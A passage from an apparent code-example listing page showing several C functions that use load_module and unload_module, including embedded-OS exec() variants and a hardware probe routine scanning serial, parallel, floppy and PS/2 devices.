			retval = unload_module (usb_module_map[i].module_name);
		}
		if (retval)
			return retval;
	}

	return -ENODEV;
}
Exemplo n.º 14
0
int exec(FAR const char *filename, FAR char * const *argv,
         FAR const struct symtab_s *exports, int nexports)
{
#if defined(CONFIG_SCHED_ONEXIT) && defined(CONFIG_SCHED_HAVE_PARENT)
  FAR struct binary_s *bin;
  int pid;
  int err;
  int ret;

  /* Allocate the load information */

  bin = (FAR struct binary_s *)kmm_zalloc(sizeof(struct binary_s));
  if (!bin)
    {
      bdbg("ERROR: Failed to allocate binary_s\n");
      err = ENOMEM;
      goto errout;
    }

  /* Initialize the binary structure */

  bin->filename = filename;
  bin->exports  = exports;
  bin->nexports = nexports;

  /* Copy the argv[] list */

  ret = binfmt_copyargv(bin, argv);
  if (ret < 0)
    {
      err = -ret;
      bdbg("ERROR: Failed to copy argv[]: %d\n", err);
      goto errout_with_bin;
    }

  /* Load the module into memory */

  ret = load_module(bin);
  if (ret < 0)
    {
      err = get_errno();
      bdbg("ERROR: Failed to load program '%s': %d\n", filename, err);
      goto errout_with_argv;
    }

  /* Disable pre-emption so that the executed module does
   * not return until we get a chance to connect the on_exit
   * handler.
   */

  sched_lock();

  /* Then start the module */

  pid = exec_module(bin);
  if (pid < 0)
    {
      err = get_errno();
      bdbg("ERROR: Failed to execute program '%s': %d\n", filename, err);
      goto errout_with_lock;
    }

  /* Set up to unload the module (and free the binary_s structure)
   * when the task exists.
   */

  ret = schedule_unload(pid, bin);
  if (ret < 0)
    {
      err = get_errno();
      bdbg("ERROR: Failed to schedule unload '%s': %d\n", filename, err);
    }

  sched_unlock();
  return pid;

errout_with_lock:
  sched_unlock();
  unload_module(bin);
errout_with_argv:
  binfmt_freeargv(bin);
errout_with_bin:
  kmm_free(bin);
errout:
  set_errno(err);
  return ERROR;

#else
  struct binary_s bin;
  int err;
  int ret;

  /* Load the module into memory */

  memset(&bin, 0, sizeof(struct binary_s));
  bin.filename = filename;
  bin.exports  = exports;
  bin.nexports = nexports;

  ret = load_module(&bin);
  if (ret < 0)
    {
      err = get_errno();
      bdbg("ERROR: Failed to load program '%s': %d\n", filename, err);
      goto errout;
    }

  /* Then start the module */

  ret = exec_module(&bin);
  if (ret < 0)
    {
      err = get_errno();
      bdbg("ERROR: Failed to execute program '%s': %d\n", filename, err);
      goto errout_with_module;
    }

  /* TODO:  How does the module get unloaded in this case? */

  return ret;

errout_with_module:
  unload_module(&bin);
errout:
  set_errno(err);
  return ERROR;
#endif
}
Exemplo n.º 15
0
int exec(FAR const char *filename, FAR char * const *argv,
         FAR const struct symtab_s *exports, int nexports)
{
  FAR struct binary_s *bin;
  int pid;
  int errcode;
  int ret;

  /* Allocate the load information */

  bin = (FAR struct binary_s *)kmm_zalloc(sizeof(struct binary_s));
  if (!bin)
    {
      berr("ERROR: Failed to allocate binary_s\n");
      errcode = ENOMEM;
      goto errout;
    }

  /* Initialize the binary structure */

  bin->filename = filename;
  bin->exports  = exports;
  bin->nexports = nexports;

  /* Copy the argv[] list */

  ret = binfmt_copyargv(bin, argv);
  if (ret < 0)
    {
      errcode = -ret;
      berr("ERROR: Failed to copy argv[]: %d\n", errcode);
      goto errout_with_bin;
    }

  /* Load the module into memory */

  ret = load_module(bin);
  if (ret < 0)
    {
      errcode = -ret;
      berr("ERROR: Failed to load program '%s': %d\n", filename, errcode);
      goto errout_with_argv;
    }

  /* Disable pre-emption so that the executed module does
   * not return until we get a chance to connect the on_exit
   * handler.
   */

  sched_lock();

  /* Then start the module */

  pid = exec_module(bin);
  if (pid < 0)
    {
      errcode = -pid;
      berr("ERROR: Failed to execute program '%s': %d\n",
           filename, errcode);
      goto errout_with_lock;
    }

#ifdef CONFIG_BINFMT_LOADABLE
  /* Set up to unload the module (and free the binary_s structure)
   * when the task exists.
   */

  ret = group_exitinfo(pid, bin);
  if (ret < 0)
    {
      berr("ERROR: Failed to schedule unload '%s': %d\n", filename, ret);
    }

#else
  /* Free the binary_s structure here */

  binfmt_freeargv(bin);
  kmm_free(bin);

  /* TODO: How does the module get unloaded in this case? */
#endif

  sched_unlock();
  return pid;

errout_with_lock:
  sched_unlock();
  (void)unload_module(bin);
errout_with_argv:
  binfmt_freeargv(bin);
errout_with_bin:
  kmm_free(bin);
errout:
  set_errno(errcode);
  return ERROR;

}
Exemplo n.º 16
0
int exec(FAR const char *filename, FAR char * const *argv,
         FAR const struct symtab_s *exports, int nexports)
{
#if defined(CONFIG_SCHED_ONEXIT) && defined(CONFIG_SCHED_HAVE_PARENT)
  FAR struct binary_s *bin;
  int pid;
  int ret;

  /* Allocate the load information */

  bin = (FAR struct binary_s *)kzalloc(sizeof(struct binary_s));
  if (!bin)
    {
      set_errno(ENOMEM);
      return ERROR;
    }

  /* Load the module into memory */

  bin->filename = filename;
  bin->argv     = argv;
  bin->exports  = exports;
  bin->nexports = nexports;

  ret = load_module(bin);
  if (ret < 0)
    {
      bdbg("ERROR: Failed to load program '%s'\n", filename);
      kfree(bin);
      return ERROR;
    }

  /* Disable pre-emption so that the executed module does
   * not return until we get a chance to connect the on_exit
   * handler.
   */

  sched_lock();

  /* Then start the module */

  pid = exec_module(bin);
  if (pid < 0)
    {
      bdbg("ERROR: Failed to execute program '%s'\n", filename);
      sched_unlock();
      unload_module(bin);
      kfree(bin);
      return ERROR;
    }

  /* Set up to unload the module (and free the binary_s structure)
   * when the task exists.
   */

  ret = schedule_unload(pid, bin);
  if (ret < 0)
    {
      bdbg("ERROR: Failed to schedul unload '%s'\n", filename);
    }

  sched_unlock();
  return pid;
#else
  struct binary_s bin;
  int ret;

  /* Load the module into memory */

  memset(&bin, 0, sizeof(struct binary_s));
  bin.filename = filename;
  bin.exports  = exports;
  bin.nexports = nexports;

  ret = load_module(&bin);
  if (ret < 0)
    {
      bdbg("ERROR: Failed to load program '%s'\n", filename);
      return ERROR;
    }

  /* Then start the module */

  ret = exec_module(&bin);
  if (ret < 0)
    {
      bdbg("ERROR: Failed to execute program '%s'\n", filename);
      unload_module(&bin);
      return ERROR;
    }

  /* TODO:  How does the module get unloaded in this case? */

  return ret;
#endif
}
Exemplo n.º 17
0
static void
modtable_entry_free(void *p)
{
    unload_module(GetCurrentProcess(), (DWORD64)p);
}
Exemplo n.º 18
0
void hd_scan_misc(hd_data_t *hd_data)
{
  hd_t *hd;
  hd_res_t *res;
  int fd, i;
  char *s = NULL;
  bios_info_t *bt = NULL;
  char par[] = "parport0";
  int fd_ser0, fd_ser1;

  if(!hd_probe_feature(hd_data, pr_misc)) return;

  hd_data->module = mod_misc;

  /* some clean-up */
  remove_hd_entries(hd_data);
  hd_data->misc = free_misc(hd_data->misc);

  PROGRESS(9, 0, "kernel log");
  read_klog(hd_data);
  if((hd_data->debug & HD_DEB_MISC)) dump_klog(hd_data);

  PROGRESS(1, 0, "misc data");
  hd_data->misc = new_mem(sizeof *hd_data->misc);

  /* this is enough to load the module */
  fd_ser0 = fd_ser1 = -1;

#if !defined(__sparc__)
  /* On sparc, the close needs too long */
  if(hd_probe_feature(hd_data, pr_misc_serial)) {
    PROGRESS(1, 1, "open serial");
    fd_ser0 = open("/dev/ttyS0", O_RDONLY | O_NONBLOCK);
    fd_ser1 = open("/dev/ttyS1", O_RDONLY | O_NONBLOCK);
    /* keep the devices open until the resources have been read */
  }
#endif

  /* this is enough to load the module */
  if(!hd_data->flags.no_parport && hd_probe_feature(hd_data, pr_misc_par)) {
    PROGRESS(1, 2, "open parallel");
    /* what can the BIOS tell us? */
    for(hd = hd_data->hd; hd; hd = hd->next) {
      if(
        hd->base_class.id == bc_internal &&
        hd->sub_class.id == sc_int_bios &&
        hd->detail &&
        hd->detail->type == hd_detail_bios &&
        hd->detail->bios.data
      ) break;
    }
    if(hd) {
      bt = hd->detail->bios.data;
      if(bt->par_port0) {
        str_printf(&s, 0, "io=0x%x", bt->par_port0);
        if(bt->par_port1) {
          str_printf(&s, -1, ",0x%x", bt->par_port1);
          if(bt->par_port2) str_printf(&s, -1, ",0x%x", bt->par_port2);
        }
	str_printf(&s, -1, " irq=none,none,none");
      }
      unload_module(hd_data, "parport_probe");
      unload_module(hd_data, "lp");
      unload_module(hd_data, "parport_pc");
      unload_module(hd_data, "parport");

      /* now load it with the right io */
      load_module(hd_data, "parport");
      load_module_with_params(hd_data, "parport_pc", s);
      free_mem(s);
    }
    /* now load the rest of the modules */
    fd = open("/dev/lp0", O_RDONLY | O_NONBLOCK);
    if(fd >= 0) close(fd);
  }

  /*
   * floppy driver resources are allocated only temporarily,
   * so we access it just before we read the resources
   */
  if(hd_probe_feature(hd_data, pr_misc_floppy)) {
    /* look for a floppy *device* entry... */
    for(hd = hd_data->hd; hd; hd = hd->next) {
      if(
        hd->base_class.id == bc_storage_device &&
        hd->sub_class.id == sc_sdev_floppy &&
        hd->unix_dev_name &&
        !strncmp(hd->unix_dev_name, "/dev/fd", sizeof "/dev/fd" - 1)
      ) {

        PROGRESS(1, 3, "read floppy");
        i = 5;
        hd->block0 = read_block0(hd_data, hd->unix_dev_name, &i);
        hd->is.notready = hd->block0 ? 0 : 1;
        if(i < 0) {
          hd->tag.remove = 1;
          ADD2LOG("misc.floppy: removing floppy entry %u (timed out)\n", hd->idx);
        }

        if(!hd->is.notready) {
          struct hd_geometry geo;
          int fd;
          unsigned size, blk_size = 0x200;

          fd = open(hd->unix_dev_name, O_RDONLY | O_NONBLOCK);
          if(fd >= 0) {
            if(!ioctl(fd, HDIO_GETGEO, &geo)) {
              ADD2LOG("floppy ioctl(geo) ok\n");
              res = add_res_entry(&hd->res, new_mem(sizeof *res));
              res->disk_geo.type = res_disk_geo;
              res->disk_geo.cyls = geo.cylinders;
              res->disk_geo.heads = geo.heads;
              res->disk_geo.sectors = geo.sectors;
              res->disk_geo.geotype = geo_logical;
              size = geo.cylinders * geo.heads * geo.sectors;
              for(res = hd->res; res; res = res->next) {
                if(res->any.type == res_size && res->size.unit == size_unit_sectors) {
                  res->size.val1 = size; res->size.val2 = blk_size;
                  break;
                }
              }
              if(!res) {
                res = add_res_entry(&hd->res, new_mem(sizeof *res));
                res->size.type = res_size;
                res->size.unit = size_unit_sectors;
                res->size.val1 = size; res->size.val2 = blk_size;
              }
            }
            close(fd);
          }
        }

        break;
      }
    }
    remove_tagged_hd_entries(hd_data);
  }

  PROGRESS(2, 1, "io");
  read_ioports(hd_data->misc);

  PROGRESS(2, 2, "dma");
  read_dmas(hd_data->misc);

  PROGRESS(2, 3, "irq");
  read_irqs(hd_data->misc);

  if((hd_data->debug & HD_DEB_MISC)) dump_misc_proc_data(hd_data);

  if(fd_ser0 >= 0) close(fd_ser0);
  if(fd_ser1 >= 0) close(fd_ser1);

  /* now create some system generic entries */

  /* FPU */
  PROGRESS(3, 0, "FPU");
  res = NULL;
  gather_resources(hd_data->misc, &res, "fpu", 0);
  if(res) {
    hd = add_hd_entry(hd_data, __LINE__, 0);
    hd->base_class.id = bc_internal;
    hd->sub_class.id = sc_int_fpu;
    hd->res = res;
  }

  /* DMA */
  PROGRESS(3, 1, "DMA");
  res = NULL;
  gather_resources(hd_data->misc, &res, "dma1", 0);
  gather_resources(hd_data->misc, &res, "dma2", 0);
  gather_resources(hd_data->misc, &res, "dma page reg", 0);
  gather_resources(hd_data->misc, &res, "cascade", W_DMA);
  if(res) {
    hd = add_hd_entry(hd_data, __LINE__, 0);
    hd->base_class.id = bc_system;
    hd->sub_class.id = sc_sys_dma;
    hd->res = res;
  }

  /* PIC */
  PROGRESS(3, 2, "PIC");
  res = NULL;
  gather_resources(hd_data->misc, &res, "pic1", 0);
  gather_resources(hd_data->misc, &res, "pic2", 0);
  gather_resources(hd_data->misc, &res, "cascade", W_IRQ);
  if(res) {
    hd = add_hd_entry(hd_data, __LINE__, 0);
    hd->base_class.id = bc_system;
    hd->sub_class.id = sc_sys_pic;
    hd->res = res;
  }

  /* timer */
  PROGRESS(3, 3, "timer");
  res = NULL;
  gather_resources(hd_data->misc, &res, "timer", 0);
  if(res) {
    hd = add_hd_entry(hd_data, __LINE__, 0);
    hd->base_class.id = bc_system;
    hd->sub_class.id = sc_sys_timer;
    hd->res = res;
  }

  /* real time clock */
  PROGRESS(3, 4, "RTC");
  res = NULL;
  gather_resources(hd_data->misc, &res, "rtc", 0);
  if(res) {
    hd = add_hd_entry(hd_data, __LINE__, 0);
    hd->base_class.id = bc_system;
    hd->sub_class.id = sc_sys_rtc;
    hd->res = res;
  }

  /* keyboard */
  res = NULL;
  gather_resources(hd_data->misc, &res, "keyboard", 0);
  if(res) {
    hd = add_hd_entry(hd_data, __LINE__, 0);
    hd->base_class.id = bc_input;
    hd->sub_class.id = sc_inp_keyb;
    hd->res = res;
  }

  /* parallel ports */
  for(i = 0; i < 1; i++, par[sizeof par - 2]++) {
    res = NULL;
    gather_resources(hd_data->misc, &res, par, 0);
    if(res) {
      hd = add_hd_entry(hd_data, __LINE__, 0);
      hd->base_class.id = bc_comm;
      hd->sub_class.id = sc_com_par;
      str_printf(&hd->unix_dev_name, 0, "/dev/lp%d", i);
      hd->res = res;
    }
  }

  /* floppy controller */
  res = NULL;
  gather_resources(hd_data->misc, &res, "floppy", 0);
  gather_resources(hd_data->misc, &res, "floppy DIR", 0);
  if(res) {
    /* look for an existing entry */
    for(hd = hd_data->hd; hd; hd = hd->next) {
      if(hd->base_class.id == bc_storage && hd->sub_class.id == sc_sto_floppy) break;
    }

    /* missing, so create one */
    if(!hd) {
      hd = add_hd_entry(hd_data, __LINE__, 0);
      hd->base_class.id = bc_storage;
      hd->sub_class.id = sc_sto_floppy;
    }

    hd->res = res;
  }

  /*
   * look for PS/2 port
   *
   * The catch is, that sometimes /dev/psaux is accessible only for root,
   * so the open() may fail but there are irq events registered.
   *
   */
  fd = open(DEV_PSAUX, O_RDONLY | O_NONBLOCK);
  if(fd >= 0) close(fd);

  res = NULL;
  gather_resources(hd_data->misc, &res, "PS/2 Mouse", 0);

  if(res || fd >= 0) {
    hd = add_hd_entry(hd_data, __LINE__, 0);
    hd->base_class.id = bc_ps2;

    if(res) {
      hd->res = res;
    }
  }
}